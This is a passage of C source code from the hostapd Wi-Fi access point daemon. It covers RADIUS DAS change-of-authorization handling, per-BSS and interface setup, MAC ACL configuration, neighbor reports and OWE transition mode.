ap_sta_deauthenticate(hapd, sta, WLAN_REASON_PREV_AUTH_NOT_VALID); return RADIUS_DAS_SUCCESS; } #ifdef CONFIG_HS20 static enum radius_das_res hostapd_das_coa(void *ctx, struct radius_das_attrs *attr) { struct hostapd_data *hapd = ctx; struct sta_info *sta; int multi; if (hostapd_das_nas_mismatch(hapd, attr)) return RADIUS_DAS_NAS_MISMATCH; sta = hostapd_das_find_sta(hapd, attr, &multi); if (!sta) { if (multi) { wpa_printf(MSG_DEBUG, "RADIUS DAS: Multiple sessions match - not supported"); return RADIUS_DAS_MULTI_SESSION_MATCH; } wpa_printf(MSG_DEBUG, "RADIUS DAS: No matching session found"); return RADIUS_DAS_SESSION_NOT_FOUND; } wpa_printf(MSG_DEBUG, "RADIUS DAS: Found a matching session " MACSTR " - CoA", MAC2STR(sta->addr)); if (attr->hs20_t_c_filtering) { if (attr->hs20_t_c_filtering[0] & BIT(0)) { wpa_printf(MSG_DEBUG, "HS 2.0: Unexpected Terms and Conditions filtering required in CoA-Request"); return RADIUS_DAS_COA_FAILED; } hs20_t_c_filtering(hapd, sta, 0); } return RADIUS_DAS_SUCCESS; } #else /* CONFIG_HS20 */ #define hostapd_das_coa NULL #endif /* CONFIG_HS20 */ #endif /* CONFIG_NO_RADIUS */ /** * hostapd_setup_bss - Per-BSS setup (initialization) * @hapd: Pointer to BSS data * @first: Whether this BSS is the first BSS of an interface; -1 = not first, * but interface may exist * * This function is used to initialize all per-BSS data structures and * resources. This gets called in a loop for each BSS when an interface is * initialized. Most of the modules that are initialized here will be * deinitialized in hostapd_cleanup(). */ static int hostapd_setup_bss(struct hostapd_data *hapd, int first) { struct hostapd_bss_config *conf = hapd->conf; u8 ssid[SSID_MAX_LEN + 1]; int ssid_len, set_ssid; char force_ifname[IFNAMSIZ]; u8 if_addr[ETH_ALEN]; int flush_old_stations = 1; wpa_printf(MSG_DEBUG, "%s(hapd=%p (%s), first=%d)", __func__, hapd, conf->iface, first); #ifdef EAP_SERVER_TNC if (conf->tnc && tncs_global_init() < 0) { wpa_printf(MSG_ERROR, "Failed to initialize TNCS"); return -1; } #endif /* EAP_SERVER_TNC */ if (hapd->started) { wpa_printf(MSG_ERROR, "%s: Interface %s was already started", __func__, conf->iface); return -1; } hapd->started = 1; if (!first || first == -1) { u8 *addr = hapd->own_addr; if (!is_zero_ether_addr(conf->bssid)) { /* Allocate the configured BSSID. */ os_memcpy(hapd->own_addr, conf->bssid, ETH_ALEN); if (hostapd_mac_comp(hapd->own_addr, hapd->iface->bss[0]->own_addr) == 0) { wpa_printf(MSG_ERROR, "BSS '%s' may not have " "BSSID set to the MAC address of " "the radio", conf->iface); return -1; } } else if (hapd->iconf->use_driver_iface_addr) { addr = NULL; } else { /* Allocate the next available BSSID. */ do { inc_byte_array(hapd->own_addr, ETH_ALEN); } while (mac_in_conf(hapd->iconf, hapd->own_addr)); } hapd->interface_added = 1; if (hostapd_if_add(hapd->iface->bss[0], WPA_IF_AP_BSS, conf->iface, addr, hapd, &hapd->drv_priv, force_ifname, if_addr, conf->bridge[0] ? conf->bridge : NULL, first == -1)) { wpa_printf(MSG_ERROR, "Failed to add BSS (BSSID=" MACSTR ")", MAC2STR(hapd->own_addr)); hapd->interface_added = 0; return -1; } if (!addr) os_memcpy(hapd->own_addr, if_addr, ETH_ALEN); } if (conf->wmm_enabled < 0) conf->wmm_enabled = hapd->iconf->ieee80211n; #ifdef CONFIG_IEEE80211R_AP if (is_zero_ether_addr(conf->r1_key_holder)) os_memcpy(conf->r1_key_holder, hapd->own_addr, ETH_ALEN); #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_MESH if ((hapd->conf->mesh & MESH_ENABLED) && hapd->iface->mconf == NULL) flush_old_stations = 0; #endif /* CONFIG_MESH */ if (flush_old_stations) hostapd_flush_old_stations(hapd, WLAN_REASON_PREV_AUTH_NOT_VALID); hostapd_set_privacy(hapd, 0); hostapd_broadcast_wep_clear(hapd); if (hostapd_setup_encryption(conf->iface, hapd)) return -1; /* * Fetch the SSID from the system and use it or, * if one was specified in the config file, verify they * match. */ ssid_len = hostapd_get_ssid(hapd, ssid, sizeof(ssid)); if (ssid_len < 0) { wpa_printf(MSG_ERROR, "Could not read SSID from system"); return -1; } if (conf->ssid.ssid_set) { /* * If SSID is specified in the config file and it differs * from what is being used then force installation of the * new SSID. */ set_ssid = (conf->ssid.ssid_len != (size_t) ssid_len || os_memcmp(conf->ssid.ssid, ssid, ssid_len) != 0); } else { /* * No SSID in the config file; just use the one we got * from the system. */ set_ssid = 0; conf->ssid.ssid_len = ssid_len; os_memcpy(conf->ssid.ssid, ssid, conf->ssid.ssid_len); } if (!hostapd_drv_none(hapd)) { wpa_printf(MSG_ERROR, "Using interface %s with hwaddr " MACSTR " and ssid \"%s\"", conf->iface, MAC2STR(hapd->own_addr), wpa_ssid_txt(conf->ssid.ssid, conf->ssid.ssid_len)); } if (hostapd_setup_wpa_psk(conf)) { wpa_printf(MSG_ERROR, "WPA-PSK setup failed."); return -1; } /* Set SSID for the kernel driver (to be used in beacon and probe * response frames) */ if (set_ssid && hostapd_set_ssid(hapd, conf->ssid.ssid, conf->ssid.ssid_len)) { wpa_printf(MSG_ERROR, "Could not set SSID for kernel driver"); return -1; } if (wpa_debug_level <= MSG_MSGDUMP) conf->radius->msg_dumps = 1; #ifndef CONFIG_NO_RADIUS hapd->radius = radius_client_init(hapd, conf->radius); if (hapd->radius == NULL) { wpa_printf(MSG_ERROR, "RADIUS client initialization failed."); return -1; } if (conf->radius_das_port) { struct radius_das_conf das_conf; os_memset(&das_conf, 0, sizeof(das_conf)); das_conf.port = conf->radius_das_port; das_conf.shared_secret = conf->radius_das_shared_secret; das_conf.shared_secret_len = conf->radius_das_shared_secret_len; das_conf.client_addr = &conf->radius_das_client_addr; das_conf.time_window = conf->radius_das_time_window; das_conf.require_event_timestamp = conf->radius_das_require_event_timestamp; das_conf.require_message_authenticator = conf->radius_das_require_message_authenticator; das_conf.ctx = hapd; das_conf.disconnect = hostapd_das_disconnect; das_conf.coa = hostapd_das_coa; hapd->radius_das = radius_das_init(&das_conf); if (hapd->radius_das == NULL) { wpa_printf(MSG_ERROR, "RADIUS DAS initialization " "failed."); return -1; } } #endif /* CONFIG_NO_RADIUS */ if (hostapd_acl_init(hapd)) { wpa_printf(MSG_ERROR, "ACL initialization failed."); return -1; } if (hostapd_init_wps(hapd, conf)) return -1; #ifdef CONFIG_DPP hapd->gas = gas_query_ap_init(hapd, hapd->msg_ctx); if (!hapd->gas) return -1; if (hostapd_dpp_init(hapd)) return -1; #endif /* CONFIG_DPP */ if (authsrv_init(hapd) < 0) return -1; if (ieee802_1x_init(hapd)) { wpa_printf(MSG_ERROR, "IEEE 802.1X initialization failed."); return -1; } if ((conf->wpa || conf->osen) && hostapd_setup_wpa(hapd)) return -1; if (accounting_init(hapd)) { wpa_printf(MSG_ERROR, "Accounting initialization failed."); return -1; } if (conf->ieee802_11f && (hapd->iapp = iapp_init(hapd, conf->iapp_iface)) == NULL) { wpa_printf(MSG_ERROR, "IEEE 802.11F (IAPP) initialization " "failed."); return -1; } #ifdef CONFIG_INTERWORKING if (gas_serv_init(hapd)) { wpa_printf(MSG_ERROR, "GAS server initialization failed"); return -1; } if (conf->qos_map_set_len && hostapd_drv_set_qos_map(hapd, conf->qos_map_set, conf->qos_map_set_len)) { wpa_printf(MSG_ERROR, "Failed to initialize QoS Map"); return -1; } #endif /* CONFIG_INTERWORKING */ if (conf->bss_load_update_period && bss_load_update_init(hapd)) { wpa_printf(MSG_ERROR, "BSS Load initialization failed"); return -1; } if (conf->proxy_arp) { if (x_snoop_init(hapd)) { wpa_printf(MSG_ERROR, "Generic snooping infrastructure initialization failed"); return -1; } if (dhcp_snoop_init(hapd)) { wpa_printf(MSG_ERROR, "DHCP snooping initialization failed"); return -1; } if (ndisc_snoop_init(hapd)) { wpa_printf(MSG_ERROR, "Neighbor Discovery snooping initialization failed"); return -1; } } if (!hostapd_drv_none(hapd) && vlan_init(hapd)) { wpa_printf(MSG_ERROR, "VLAN initialization failed."); return -1; } if (!conf->start_disabled && ieee802_11_set_beacon(hapd) < 0) return -1; if (hapd->wpa_auth && wpa_init_keys(hapd->wpa_auth) < 0) return -1; if (hapd->driver && hapd->driver->set_operstate) hapd->driver->set_operstate(hapd->drv_priv, 1); return 0; } static void hostapd_tx_queue_params(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; int i; struct hostapd_tx_queue_params *p; #ifdef CONFIG_MESH if ((hapd->conf->mesh & MESH_ENABLED) && iface->mconf == NULL) return; #endif /* CONFIG_MESH */ for (i = 0; i < NUM_TX_QUEUES; i++) { p = &iface->conf->tx_queue[i]; if (hostapd_set_tx_queue_params(hapd, i, p->aifs, p->cwmin, p->cwmax, p->burst)) { wpa_printf(MSG_DEBUG, "Failed to set TX queue " "parameters for queue %d.", i); /* Continue anyway */ } } } static int hostapd_set_acl_list(struct hostapd_data *hapd, struct mac_acl_entry *mac_acl, int n_entries, u8 accept_acl) { struct hostapd_acl_params *acl_params; int i, err; acl_params = os_zalloc(sizeof(*acl_params) + (n_entries * sizeof(acl_params->mac_acl[0]))); if (!acl_params) return -ENOMEM; for (i = 0; i < n_entries; i++) os_memcpy(acl_params->mac_acl[i].addr, mac_acl[i].addr, ETH_ALEN); acl_params->acl_policy = accept_acl; acl_params->num_mac_acl = n_entries; err = hostapd_drv_set_acl(hapd, acl_params); os_free(acl_params); return err; } static void hostapd_set_acl(struct hostapd_data *hapd) { struct hostapd_config *conf = hapd->iconf; int err; u8 accept_acl; if (hapd->iface->drv_max_acl_mac_addrs == 0) return; if (conf->bss[0]->macaddr_acl == DENY_UNLESS_ACCEPTED) { accept_acl = 1; err = hostapd_set_acl_list(hapd, conf->bss[0]->accept_mac, conf->bss[0]->num_accept_mac, accept_acl); if (err) { wpa_printf(MSG_DEBUG, "Failed to set accept acl"); return; } } else if (conf->bss[0]->macaddr_acl == ACCEPT_UNLESS_DENIED) { accept_acl = 0; err = hostapd_set_acl_list(hapd, conf->bss[0]->deny_mac, conf->bss[0]->num_deny_mac, accept_acl); if (err) { wpa_printf(MSG_DEBUG, "Failed to set deny acl"); return; } } } static int start_ctrl_iface_bss(struct hostapd_data *hapd) { if (!hapd->iface->interfaces || !hapd->iface->interfaces->ctrl_iface_init) return 0; if (hapd->iface->interfaces->ctrl_iface_init(hapd)) { wpa_printf(MSG_ERROR, "Failed to setup control interface for %s", hapd->conf->iface); return -1; } return 0; } static int start_ctrl_iface(struct hostapd_iface *iface) { size_t i; if (!iface->interfaces || !iface->interfaces->ctrl_iface_init) return 0; for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *hapd = iface->bss[i]; if (iface->interfaces->ctrl_iface_init(hapd)) { wpa_printf(MSG_ERROR, "Failed to setup control interface for %s", hapd->conf->iface); return -1; } } return 0; } static void channel_list_update_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_iface *iface = eloop_ctx; if (!iface->wait_channel_update) { wpa_printf(MSG_INFO, "Channel list update timeout, but interface was not waiting for it"); return; } /* * It is possible that the existing channel list is acceptable, so try * to proceed. */ wpa_printf(MSG_DEBUG, "Channel list update timeout - try to continue anyway"); setup_interface2(iface); } void hostapd_channel_list_updated(struct hostapd_iface *iface, int initiator) { if (!iface->wait_channel_update || initiator != REGDOM_SET_BY_USER) return; wpa_printf(MSG_DEBUG, "Channel list updated - continue setup"); eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); setup_interface2(iface); } static int setup_interface(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; size_t i; /* * It is possible that setup_interface() is called after the interface * was disabled etc., in which case driver_ap_teardown is possibly set * to 1. Clear it here so any other key/station deletion, which is not * part of a teardown flow, would also call the relevant driver * callbacks. */ iface->driver_ap_teardown = 0; if (!iface->phy[0]) { const char *phy = hostapd_drv_get_radio_name(hapd); if (phy) { wpa_printf(MSG_DEBUG, "phy: %s", phy); os_strlcpy(iface->phy, phy, sizeof(iface->phy)); } } /* * Make sure that all BSSes get configured with a pointer to the same * driver interface. */ for (i = 1; i < iface->num_bss; i++) { iface->bss[i]->driver = hapd->driver; iface->bss[i]->drv_priv = hapd->drv_priv; } if (hostapd_validate_bssid_configuration(iface)) return -1; /* * Initialize control interfaces early to allow external monitoring of * channel setup operations that may take considerable amount of time * especially for DFS cases. */ if (start_ctrl_iface(iface)) return -1; if (hapd->iconf->country[0] && hapd->iconf->country[1]) { char country[4], previous_country[4]; hostapd_set_state(iface, HAPD_IFACE_COUNTRY_UPDATE); if (hostapd_get_country(hapd, previous_country) < 0) previous_country[0] = '\0'; os_memcpy(country, hapd->iconf->country, 3); country[3] = '\0'; if (hostapd_set_country(hapd, country) < 0) { wpa_printf(MSG_ERROR, "Failed to set country code"); return -1; } wpa_printf(MSG_DEBUG, "Previous country code %s, new country code %s", previous_country, country); if (os_strncmp(previous_country, country, 2) != 0) { wpa_printf(MSG_DEBUG, "Continue interface setup after channel list update"); iface->wait_channel_update = 1; eloop_register_timeout(5, 0, channel_list_update_timeout, iface, NULL); return 0; } } return setup_interface2(iface); } static int setup_interface2(struct hostapd_iface *iface) { iface->wait_channel_update = 0; if (hostapd_get_hw_features(iface)) { /* Not all drivers support this yet, so continue without hw * feature data. */ } else { int ret = hostapd_select_hw_mode(iface); if (ret < 0) { wpa_printf(MSG_ERROR, "Could not select hw_mode and " "channel. (%d)", ret); goto fail; } if (ret == 1) { wpa_printf(MSG_DEBUG, "Interface initialization will be completed in a callback (ACS)"); return 0; } ret = hostapd_check_ht_capab(iface); if (ret < 0) goto fail; if (ret == 1) { wpa_printf(MSG_DEBUG, "Interface initialization will " "be completed in a callback"); return 0; } if (iface->conf->ieee80211h) wpa_printf(MSG_DEBUG, "DFS support is enabled"); } return hostapd_setup_interface_complete(iface, 0); fail: hostapd_set_state(iface, HAPD_IFACE_DISABLED); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); if (iface->interfaces && iface->interfaces->terminate_on_error) eloop_terminate(); return -1; } #ifdef CONFIG_FST static const u8 * fst_hostapd_get_bssid_cb(void *ctx) { struct hostapd_data *hapd = ctx; return hapd->own_addr; } static void fst_hostapd_get_channel_info_cb(void *ctx, enum hostapd_hw_mode *hw_mode, u8 *channel) { struct hostapd_data *hapd = ctx; *hw_mode = ieee80211_freq_to_chan(hapd->iface->freq, channel); } static void fst_hostapd_set_ies_cb(void *ctx, const struct wpabuf *fst_ies) { struct hostapd_data *hapd = ctx; if (hapd->iface->fst_ies != fst_ies) { hapd->iface->fst_ies = fst_ies; if (ieee802_11_set_beacon(hapd)) wpa_printf(MSG_WARNING, "FST: Cannot set beacon"); } } static int fst_hostapd_send_action_cb(void *ctx, const u8 *da, struct wpabuf *buf) { struct hostapd_data *hapd = ctx; return hostapd_drv_send_action(hapd, hapd->iface->freq, 0, da, wpabuf_head(buf), wpabuf_len(buf)); } static const struct wpabuf * fst_hostapd_get_mb_ie_cb(void *ctx, const u8 *addr) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); return sta ? sta->mb_ies : NULL; } static void fst_hostapd_update_mb_ie_cb(void *ctx, const u8 *addr, const u8 *buf, size_t size) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); if (sta) { struct mb_ies_info info; if (!mb_ies_info_by_ies(&info, buf, size)) { wpabuf_free(sta->mb_ies); sta->mb_ies = mb_ies_by_info(&info); } } } static const u8 * fst_hostapd_get_sta(struct fst_get_peer_ctx **get_ctx, Boolean mb_only) { struct sta_info *s = (struct sta_info *) *get_ctx; if (mb_only) { for (; s && !s->mb_ies; s = s->next) ; } if (s) { *get_ctx = (struct fst_get_peer_ctx *) s->next; return s->addr; } *get_ctx = NULL; return NULL; } static const u8 * fst_hostapd_get_peer_first(void *ctx, struct fst_get_peer_ctx **get_ctx, Boolean mb_only) { struct hostapd_data *hapd = ctx; *get_ctx = (struct fst_get_peer_ctx *) hapd->sta_list; return fst_hostapd_get_sta(get_ctx, mb_only); } static const u8 * fst_hostapd_get_peer_next(void *ctx, struct fst_get_peer_ctx **get_ctx, Boolean mb_only) { return fst_hostapd_get_sta(get_ctx, mb_only); } void fst_hostapd_fill_iface_obj(struct hostapd_data *hapd, struct fst_wpa_obj *iface_obj) { iface_obj->ctx = hapd; iface_obj->get_bssid = fst_hostapd_get_bssid_cb; iface_obj->get_channel_info = fst_hostapd_get_channel_info_cb; iface_obj->set_ies = fst_hostapd_set_ies_cb; iface_obj->send_action = fst_hostapd_send_action_cb; iface_obj->get_mb_ie = fst_hostapd_get_mb_ie_cb; iface_obj->update_mb_ie = fst_hostapd_update_mb_ie_cb; iface_obj->get_peer_first = fst_hostapd_get_peer_first; iface_obj->get_peer_next = fst_hostapd_get_peer_next; } #endif /* CONFIG_FST */ #ifdef NEED_AP_MLME static enum nr_chan_width hostapd_get_nr_chan_width(struct hostapd_data *hapd, int ht, int vht) { if (!ht && !vht) return NR_CHAN_WIDTH_20; if (!hapd->iconf->secondary_channel) return NR_CHAN_WIDTH_20; if (!vht || hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_USE_HT) return NR_CHAN_WIDTH_40; if (hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_80MHZ) return NR_CHAN_WIDTH_80; if (hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_160MHZ) return NR_CHAN_WIDTH_160; if (hapd->iconf->vht_oper_chwidth == VHT_CHANWIDTH_80P80MHZ) return NR_CHAN_WIDTH_80P80; return NR_CHAN_WIDTH_20; } #endif /* NEED_AP_MLME */ static void hostapd_set_own_neighbor_report(struct hostapd_data *hapd) { #ifdef NEED_AP_MLME u16 capab = hostapd_own_capab_info(hapd); int ht = hapd->iconf->ieee80211n && !hapd->conf->disable_11n; int vht = hapd->iconf->ieee80211ac && !hapd->conf->disable_11ac; struct wpa_ssid_value ssid; u8 channel, op_class; u8 center_freq1_idx = 0, center_freq2_idx = 0; enum nr_chan_width width; u32 bssid_info; struct wpabuf *nr; if (!(hapd->conf->radio_measurements[0] & WLAN_RRM_CAPS_NEIGHBOR_REPORT)) return; bssid_info = 3; /* AP is reachable */ bssid_info |= NEI_REP_BSSID_INFO_SECURITY; /* "same as the AP" */ bssid_info |= NEI_REP_BSSID_INFO_KEY_SCOPE; /* "same as the AP" */ if (capab & WLAN_CAPABILITY_SPECTRUM_MGMT) bssid_info |= NEI_REP_BSSID_INFO_SPECTRUM_MGMT; bssid_info |= NEI_REP_BSSID_INFO_RM; /* RRM is supported */ if (hapd->conf->wmm_enabled) { bssid_info |= NEI_REP_BSSID_INFO_QOS; if (hapd->conf->wmm_uapsd && (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_UAPSD)) bssid_info |= NEI_REP_BSSID_INFO_APSD; } if (ht) { bssid_info |= NEI_REP_BSSID_INFO_HT | NEI_REP_BSSID_INFO_DELAYED_BA; /* VHT bit added in IEEE P802.11-REVmc/D4.3 */ if (vht) bssid_info |= NEI_REP_BSSID_INFO_VHT; } /* TODO: Set NEI_REP_BSSID_INFO_MOBILITY_DOMAIN if MDE is set */ if (ieee80211_freq_to_channel_ext(hapd->iface->freq, hapd->iconf->secondary_channel, hapd->iconf->vht_oper_chwidth, &op_class, &channel) == NUM_HOSTAPD_MODES) return; width = hostapd_get_nr_chan_width(hapd, ht, vht); if (vht) { center_freq1_idx = hapd->iconf->vht_oper_centr_freq_seg0_idx; if (width == NR_CHAN_WIDTH_80P80) center_freq2_idx = hapd->iconf->vht_oper_centr_freq_seg1_idx; } else if (ht) { ieee80211_freq_to_chan(hapd->iface->freq + 10 * hapd->iconf->secondary_channel, ¢er_freq1_idx); } ssid.ssid_len = hapd->conf->ssid.ssid_len; os_memcpy(ssid.ssid, hapd->conf->ssid.ssid, ssid.ssid_len); /* * Neighbor Report element size = BSSID + BSSID info + op_class + chan + * phy type + wide bandwidth channel subelement. */ nr = wpabuf_alloc(ETH_ALEN + 4 + 1 + 1 + 1 + 5); if (!nr) return; wpabuf_put_data(nr, hapd->own_addr, ETH_ALEN); wpabuf_put_le32(nr, bssid_info); wpabuf_put_u8(nr, op_class); wpabuf_put_u8(nr, channel); wpabuf_put_u8(nr, ieee80211_get_phy_type(hapd->iface->freq, ht, vht)); /* * Wide Bandwidth Channel subelement may be needed to allow the * receiving STA to send packets to the AP. See IEEE P802.11-REVmc/D5.0 * Figure 9-301. */ wpabuf_put_u8(nr, WNM_NEIGHBOR_WIDE_BW_CHAN); wpabuf_put_u8(nr, 3); wpabuf_put_u8(nr, width); wpabuf_put_u8(nr, center_freq1_idx); wpabuf_put_u8(nr, center_freq2_idx); hostapd_neighbor_set(hapd, hapd->own_addr, &ssid, nr, hapd->iconf->lci, hapd->iconf->civic, hapd->iconf->stationary_ap); wpabuf_free(nr); #endif /* NEED_AP_MLME */ } #ifdef CONFIG_OWE static int hostapd_owe_iface_iter(struct hostapd_iface *iface, void *ctx) { struct hostapd_data *hapd = ctx; size_t i; for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *bss = iface->bss[i]; if (os_strcmp(hapd->conf->owe_transition_ifname, bss->conf->iface) != 0) continue; wpa_printf(MSG_DEBUG, "OWE: ifname=%s found transition mode ifname=%s BSSID " MACSTR " SSID %s", hapd->conf->iface, bss->conf->iface, MAC2STR(bss->own_addr), wpa_ssid_txt(bss->conf->ssid.ssid, bss->conf->ssid.ssid_len)); if (!bss->conf->ssid.ssid_set || !bss->conf->ssid.ssid_len || is_zero_ether_addr(bss->own_addr)) continue; os_memcpy(hapd->conf->owe_transition_bssid, bss->own_addr, ETH_ALEN); os_memcpy(hapd->conf->owe_transition_ssid, bss->conf->ssid.ssid, bss->conf->ssid.ssid_len); hapd->conf->owe_transition_ssid_len = bss->conf->ssid.ssid_len; wpa_printf(MSG_DEBUG, "OWE: Copied transition mode information"); return 1; } return 0; } int hostapd_owe_trans_get_info(struct hostapd_data *hapd) { if (hapd->conf->owe_transition_ssid_len > 0 && !is_zero_ether_addr(hapd->conf->owe_transition_bssid)) return 0; /* Find transition mode SSID/BSSID information from a BSS operated by * this hostapd instance. */ if (!hapd->iface->interfaces || !hapd->iface->interfaces->for_each_interface) return hostapd_owe_iface_iter(hapd->iface, hapd); else return hapd->iface->interfaces->for_each_interface( hapd->iface->interfaces, hostapd_owe_iface_iter, hapd); } static int hostapd_owe_iface_iter2(struct hostapd_iface *iface, void *ctx) { size_t i; for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *bss = iface->bss[i]; int res; if (!bss->conf->owe_transition_ifname[0]) continue; res = hostapd_owe_trans_get_info(bss); if (res == 0) continue; wpa_printf(MSG_DEBUG, "OWE: Matching transition mode interface enabled - update beacon data for %s", bss->conf->iface); ieee802_11_set_beacon(bss); } return 0; } #endif /* CONFIG_OWE */ static void hostapd_owe_update_trans(struct hostapd_iface *iface) { #ifdef CONFIG_OWE /* Check whether the enabled BSS can complete OWE transition mode * configuration for any pending interface. */ if (!iface->interfaces || !iface->interfaces->for_each_interface) hostapd_owe_iface_iter2(iface, NULL); else iface->interfaces->for_each_interface( iface->interfaces, hostapd_owe_iface_iter2, NULL); #endif /* CONFIG_OWE */ } static void hostapd_interface_setup_failure_handler(void *eloop_ctx, void *timeout_ctx) { struct hostapd_iface *iface = eloop_ctx; struct hostapd_data *hapd; if (iface->num_bss < 1 || !iface->bss || !iface->bss[0]) return; hapd = iface->bss[0]; if (hapd->setup_complete_cb) hapd->setup_complete_cb(hapd->setup_complete_cb_ctx); } static int hostapd_setup_interface_complete_sync(struct hostapd_iface *iface, int err) { struct hostapd_data *hapd = iface->bss[0]; size_t j; u8 *prev_addr; int delay_apply_cfg = 0; int res_dfs_offload = 0; if (err) goto fail; wpa_printf(MSG_DEBUG, "Completing interface initialization"); if (iface->conf->channel) { #ifdef NEED_AP_MLME int res; #endif /* NEED_AP_MLME */ iface->freq = hostapd_hw_get_freq(hapd, iface->conf->channel); wpa_printf(MSG_DEBUG, "Mode: %s Channel: %d " "Frequency: %d MHz", hostapd_hw_mode_txt(iface->conf->hw_mode), iface->conf->channel, iface->freq); #ifdef NEED_AP_MLME /* Handle DFS only if it is not offloaded to the driver */ if (!(iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD)) { /* Check DFS */ res = hostapd_handle_dfs(iface); if (res <= 0) { if (res < 0) goto fail; return res; } } else { /* If DFS is offloaded to the driver */ res_dfs_offload = hostapd_handle_dfs_offload(iface); if (res_dfs_offload <= 0) { if (res_dfs_offload < 0) goto fail; } else { wpa_printf(MSG_DEBUG, "Proceed with AP/channel setup"); /* * If this is a DFS channel, move to completing * AP setup. */ if (res_dfs_offload == 1) goto dfs_offload; /* Otherwise fall through. */ } } #endif /* NEED_AP_MLME */ #ifdef CONFIG_MESH if (iface->mconf != NULL) { wpa_printf(MSG_DEBUG, "%s: Mesh configuration will be applied while joining the mesh network", iface->bss[0]->conf->iface); delay_apply_cfg = 1; } #endif /* CONFIG_MESH */ if (!delay_apply_cfg && hostapd_set_freq(hapd, hapd->iconf->hw_mode, iface->freq, hapd->iconf->channel, hapd->iconf->ieee80211n, hapd->iconf->ieee80211ac, hapd->iconf->secondary_channel, hapd->iconf->vht_oper_chwidth, hapd->iconf->vht_oper_centr_freq_seg0_idx, hapd->iconf->vht_oper_centr_freq_seg1_idx)) { wpa_printf(MSG_ERROR, "Could not set channel for " "kernel driver"); goto fail; } } if (iface->current_mode) { if (hostapd_prepare_rates(iface, iface->current_mode)) { wpa_printf(MSG_ERROR, "Failed to prepare rates " "table."); hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "Failed to prepare rates table."); goto fail; } } if (hapd->iconf->rts_threshold > -1 && hostapd_set_rts(hapd, hapd->iconf->rts_threshold)) { wpa_printf(MSG_ERROR, "Could not set RTS threshold for " "kernel driver"); goto fail; } if (hapd->iconf->fragm_threshold > -1 && hostapd_set_frag(hapd, hapd->iconf->fragm_threshold)) { wpa_printf(MSG_ERROR, "Could not set fragmentation threshold " "for kernel driver"); goto fail; } prev_addr = hapd->own_addr; for (j = 0; j < iface->num_bss; j++) { hapd = iface->bss[j]; if (j) os_memcpy(hapd->own_addr, prev_addr, ETH_ALEN); if (hostapd_setup_bss(hapd, j == 0)) { do { hapd = iface->bss[j]; hostapd_bss_deinit_no_free(hapd); hostapd_free_hapd_data(hapd); } while (j-- > 0); goto fail; } if (is_zero_ether_addr(hapd->conf->bssid)) prev_addr = hapd->own_addr; } hapd = iface->bss[0]; hostapd_tx_queue_params(iface); ap_list_init(iface); hostapd_set_acl(hapd); if (hostapd_driver_commit(hapd) < 0) { wpa_printf(MSG_ERROR, "%s: Failed to commit driver " "configuration", __func__); goto fail; } /* * WPS UPnP module can be initialized only when the "upnp_iface" is up. * If "interface" and "upnp_iface" are the same (e.g., non-bridge * mode), the interface is up only after driver_commit, so initialize * WPS after driver_commit. */ for (j = 0; j < iface->num_bss; j++) { if (hostapd_init_wps_complete(iface->bss[j])) goto fail; } if ((iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) && !res_dfs_offload) { /* * If freq is DFS, and DFS is offloaded to the driver, then wait * for CAC to complete. */ wpa_printf(MSG_DEBUG, "%s: Wait for CAC to complete", __func__); return res_dfs_offload; } #ifdef NEED_AP_MLME dfs_offload: #endif /* NEED_AP_MLME */ #ifdef CONFIG_FST if (hapd->iconf->fst_cfg.group_id[0]) { struct fst_wpa_obj iface_obj; fst_hostapd_fill_iface_obj(hapd, &iface_obj); iface->fst = fst_attach(hapd->conf->iface, hapd->own_addr, &iface_obj, &hapd->iconf->fst_cfg); if (!iface->fst) { wpa_printf(MSG_ERROR, "Could not attach to FST %s", hapd->iconf->fst_cfg.group_id); goto fail; } } #endif /* CONFIG_FST */ hostapd_set_state(iface, HAPD_IFACE_ENABLED); hostapd_owe_update_trans(iface); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_ENABLED); if (hapd->setup_complete_cb) hapd->setup_complete_cb(hapd->setup_complete_cb_ctx); wpa_printf(MSG_DEBUG, "%s: Setup of interface done.", iface->bss[0]->conf->iface); if (iface->interfaces && iface->interfaces->terminate_on_error > 0) iface->interfaces->terminate_on_error--; for (j = 0; j < iface->num_bss; j++) hostapd_set_own_neighbor_report(iface->bss[j]); return 0; fail: wpa_printf(MSG_ERROR, "Interface initialization failed"); hostapd_set_state(iface, HAPD_IFACE_DISABLED); wpa_msg(hapd->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); #ifdef CONFIG_FST if (iface->fst) { fst_detach(iface->fst); iface->fst = NULL; } #endif /* CONFIG_FST */ if (iface->interfaces && iface->interfaces->terminate_on_error) { eloop_terminate(); } else if (hapd->setup_complete_cb) { /* * Calling hapd->setup_complete_cb directly may cause iface * deinitialization which may be accessed later by the caller. */ eloop_register_timeout(0, 0, hostapd_interface_setup_failure_handler, iface, NULL); } return -1; } /** * hostapd_setup_interface_complete - Complete interface setup * * This function is called when previous steps in the interface setup has been * completed. This can also start operations, e.g., DFS, that will require * additional processing before interface is ready to be enabled. Such * operations will call this function from eloop callbacks when finished. */ int hostapd_setup_interface_complete(struct hostapd_iface *iface, int err) { struct hapd_interfaces *interfaces = iface->interfaces; struct hostapd_data *hapd = iface->bss[0]; unsigned int i; int not_ready_in_sync_ifaces = 0; if (!iface->need_to_start_in_sync) return hostapd_setup_interface_complete_sync(iface, err); if (err) { wpa_printf(MSG_ERROR, "Interface initialization failed"); hostapd_set_state(iface, HAPD_IFACE_DISABLED); iface->need_to_start_in_sync = 0; 